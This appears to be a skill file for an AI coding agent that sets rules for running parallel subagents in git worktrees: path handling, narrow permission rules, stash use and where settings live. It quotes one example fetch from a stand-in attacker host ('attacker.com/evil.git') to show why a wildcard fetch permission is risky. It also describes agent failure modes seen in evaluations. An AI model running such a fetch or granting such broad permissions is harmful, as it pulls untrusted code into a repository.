super-duper-tdd-cat

name	super-duper-tdd-cat
description	Brainstorm+TDD workflow using an isolated git worktree with subagent-driven-development
argument-hint	<task-description>
user-invocable	true

/super-tdd but using /duper with /cat

Subagent-dispatch discipline

When this skill fans out parallel hypothesis-testing subagents (via the Agent tool with isolation: "worktree"), four failure modes have been observed under parallel-fanout pressure. Address all four when writing subagent prompts and configuring the surrounding session.

1 · Relative paths only — never the parent worktree's absolute path

The dispatched subagent's cwd IS its isolated worktree. The Agent tool puts it there. Do NOT include the parent worktree's absolute path in the prompt as "context" — the subagent will treat it as an edit target if its path-resolution logic misfires, and edit the parent's files instead of its own.

Pressure rationalization to refuse: "front-loads all necessary context (location, hypothesis, expected HEAD SHA, stash name) so the stateless subagent can orient immediately without back-communication." False — the subagent's own cwd already provides location. Branch name + commit hash + stash name are load-bearing context; the parent worktree's filesystem path is not.

Concrete rule for subagent prompts:

• ✓ Branch name (e.g. <feature-branch>).
• ✓ Commit hash (e.g. <sha>) for sanity-check assertions.
• ✓ Stash message (for git stash apply stash^{/<message>}).
• ✓ Relative paths inside the worktree (app/lib/..., test/...).
• ✗ Absolute filesystem path of the parent worktree.
• ✗ "Project location: /Users/.../my-repo/.worktrees//".

2 · git switch -c <name> <local-branch> over git fetch

The subagent's worktree shares the parent repo's .git/objects and refs. To move from the auto-created branch (off main) to a feature branch, use a local ref:

git switch -c agent- <hypothesis-name> <feature-branch>

This is additive (creates a new branch starting from the local ref) and local-only (no network, no remote URLs in scope). Adding Bash(git switch -c *) to the operator's allow list is safe.

Do NOT propose Bash(git fetch *) for subagent dispatch perms. The wildcard accepts arbitrary URLs — git fetch https://attacker.com/evil.git is permitted. Subagents fetching parent-repo state don't need network reach.

Pressure rationalization to refuse: "subagents need fetch + checkout for setup, allow them." Audit each wildcard before adding:

• (1) Network reach — does * accept URLs? (fetch, clone, push, pull)
• (2) Destructive ops — does * permit silent file overwrite or branch rewrite? (checkout includes checkout -- <file>; reset includes --hard)
• (3) Cross-repo — could the operation pull state from outside this repo?

Default to the narrowest pattern. Specific session-tested set for hypothesis fan-out: Bash(git switch -c *), Bash(git stash apply *), Bash(git stash push *). Nothing else needed for branch-from-local-ref + WIP-stash-apply + pre-flight-stash workflows.

3 · git stash apply only — never pop or drop

Multiple parallel subagents may need the same WIP stash. git stash pop removes the stash on success; git stash drop removes it unconditionally. Either breaks the parallel siblings. Stashes accumulate intentionally; operator cleans up at session end.

Pressure rationalization to refuse: "subagents should clean up after themselves with pop so stashes don't dangle." False — accumulation is the feature. The operator may want to inspect post-mortem; a sibling worker may need the same stash; a retry round may re-apply it.

Allow Bash(git stash apply *) and Bash(git stash push *) (push is for pre-flight; see §5). Never Bash(git stash pop *) or Bash(git stash drop *).

4 · Subagent perms must live in the path-walked layers, not in a sibling worktree

Permission resolution for a subagent walks up from its cwd:

<main-checkout>/.claude/worktrees/agent-<id>/.claude/    ← agent's own (auto-created, default minimal)
<main-checkout>/.claude/worktrees/agent-<id>/...         (parent dirs)
<main-checkout>/.claude/                                  ← main-checkout's project settings  ✓ visible
~/.claude/                                                ← user-global  ✓ visible

Sibling-worktree settings (e.g. <main-checkout>/.worktrees/<branch>/.claude/) are never reached — they are sibling trees in the path-walk graph, not ancestors of the subagent's cwd.

Pressure rationalization to refuse: "I have my worktree's .claude/settings.local.json open; I'll add the perms there and commit them to my branch." False — that file's perms are visible only to the operator working in that worktree, not to the subagents that spawn off main into the shared .claude/worktrees/ tree.

To make subagent perms visible, add them to ONE of:

• ~/.claude/settings.json (user-global; broadest scope; persists across sessions and projects). Best for cross-project subagent-dispatch perms like Bash(git switch -c *).
• <main-checkout>/.claude/settings.local.json (project-scoped; visible to any subagent that spawns inside the project's .claude/worktrees/). Best for project-specific subagent perms.

Avoid sibling-worktree settings for subagent dispatch perms.

5 · Pre-flight stash for the auto-created .claude/settings.local.json

When a subagent's worktree is created, Claude Code may auto-create <agent-worktree>/.claude/settings.local.json (untracked). If the target feature branch tracks the same path with different content, git switch -c refuses with "untracked working tree file would be overwritten by checkout."

Workaround inside the subagent prompt: stash the auto-created file before switching:

git stash push -u -m "agent-<name>-claude-config" .claude/settings.local.json
git switch -c agent- <name> <feature-branch>

Each subagent leaves its own claude-config stash on the shared refs/stash ledger. Do not have subagents drop these (per §3). Operator cleans up at session end.

Structural alternative: untrack .claude/settings.local.json in the target branch (git rm --cached + restore the gitignore line + commit). Eliminates the conflict entirely. Choose this when the file's branch-tracked content is redundant with canonical settings.

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Lessons-baked-in summary

Failure mode	Counter
Absolute-path leak in subagent prompt	Relative paths + branch name only
Bash(git fetch *) proposed for setup	Use Bash(git switch -c *); audit wildcards
git stash pop/drop proposed for cleanup	apply only; stashes accumulate by design
Perms in sibling-worktree settings	Use canonical ~/.claude/settings.json or main-checkout's
Auto-created settings.local.json blocks switch	Pre-flight stash, or untrack in target branch

These are not abstract style notes. Each one was observed firing under parallel-fanout pressure — see evals/iteration-1/eval-{F1,F5,F6}/baseline/ for the captured rationalization receipts.